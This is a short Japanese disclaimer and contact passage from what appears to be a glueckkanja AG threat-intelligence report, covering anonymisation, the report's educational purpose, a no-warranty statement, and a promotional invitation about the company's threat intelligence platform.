本公開にあたり、識別につながる情報は匿名化しています。個別の技術的詳細、指標、タイムスタンプは、解析の技術的な整合性を損なわない範囲で、対象環境の継続的な保護を担保するためにわずかに変更されている場合があります。
本レポートに含まれる技術的解析および侵害の指標(IOC)は、情報提供および教育のみを目的としています。これらは知り得る限りの内容として提供されるものです。glueckkanja AGは完全性または正確性について明示・黙示を問わずいかなる保証も行わず、ここで共有する情報、ルール、シグネチャの利用から生じる損害、損失、セキュリティインシデントについて責任を負いません。すべての指標とルールは、運用に投入する前に管理された環境で検証することを推奨します。
記載した指標や技法は既知のマルウェアファミリと重なる場合があり、単一のキャンペーンに排他的に帰属するものではありません。
お問い合わせ
当社のShared Threat Intelligence Platformが、業界がまだ把握していない未知のマルウェア亜種から自社をどのように保護するのか、知りたいとお考えですか。お気軽にご相談ください。














